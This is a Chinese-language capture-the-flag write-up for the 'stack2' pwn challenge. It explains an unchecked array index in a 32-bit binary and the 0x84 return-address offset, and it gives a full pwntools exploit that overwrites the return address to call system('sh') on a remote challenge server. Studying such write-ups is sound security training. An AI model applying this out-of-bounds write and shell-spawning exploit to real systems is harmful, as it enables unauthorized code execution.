攻防世界 stack2 wp


我们看看保护机制,发现是32位的题目,有cananry,还有nx,然后再去ida看看,总的就是一个计算n个数平均值,然后可以增加、删除、修改数字的一个代码,然后我们发现在修改的时候有个bug

这边发现修改的时候并没有判断v5大小,也就是说我们可以数组越界达到修改返回地址的目的

我们发现有个后门函数,可是试了一些bash不行,所以我们要修改一下参数,修改成sh,在这边说明一下,sh、bask、zsh这三个都是shell程序,我们只要执行任意一个就能拿到shell,这就类似于windows的cmd,但是这三个要取决于远程有没有,一般远程就留一个sh和cat,想这题就没有bash,有sh,所以我们直接调用system函数,然后参数给成sh,不用它给的后门
然后还有个坑就是我们在ida中看到距离ebp的偏移是0x70

但是呢这题返回地址的偏移不是0x74,而是0x84,因为他在最后代码有这么一段


他修改了esp,也就是说我们栈顶位置改了,所以我们返回地址的偏移自然就改了,我们进入gdb查看,发现这个[ebp+var_4]的值是0x10,所以我们返回地址的偏移是0x84
exp:

from pwn import *
p=remote('111.200.241.244',50224)
p.recvuntil('have:\n')
p.sendline('0')
def link(add,key):
	p.recvuntil('exit\n')
	p.sendline('3')
	p.recvuntil('change:\n')
	p.sendline(str(add))
	p.recvuntil('number:\n')
	p.sendline(str(key))
link(0x84,0x50)
link(0x85,0x84)
link(0x86,0x04)
link(0x87,0x08)
link(0x8c,0x87)
link(0x8d,0x89)
link(0x8e,0x04)
link(0x8f,0x08)
p.recvuntil('exit\n')
p.sendline('5')
p.interactive()
posted @ 2022-01-14 14:55  予柒  阅读(162)  评论(0)    收藏  举报
返回顶端
Live2D /*修改地一:waifu.css*/
/*修改地二:waifu.css*/
/*修改地三:live2d.js*/ /*修改地四:waifu-tips.js*/